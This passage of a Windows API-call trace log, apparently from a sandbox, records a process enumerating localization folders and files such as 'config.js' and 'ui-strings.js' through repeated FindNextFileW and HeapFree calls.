hHeap=0x420000) returned 1 [0187.034] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0187.034] FindClose (in: hFindFile=0x4121708 | out: hFindFile=0x4121708) returned 1 [0187.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.034] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0187.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.302] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.302] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.302] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.302] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.302] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.303] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.303] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.304] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.304] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4c0e020, Size=0x100000) returned 0x52d1020 [0187.317] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0187.317] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0187.317] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.317] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.317] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.317] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.317] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.317] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.318] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.319] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.320] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.321] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.321] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.321] FindClose (in: hFindFile=0x4121308 | out: hFindFile=0x4121308) returned 1 [0187.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.321] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0187.321] FindClose (in: hFindFile=0x4121108 | out: hFindFile=0x4121108) returned 1 [0187.321] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.321] FindNextFileW (in: hFindFile=0x4121248, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", 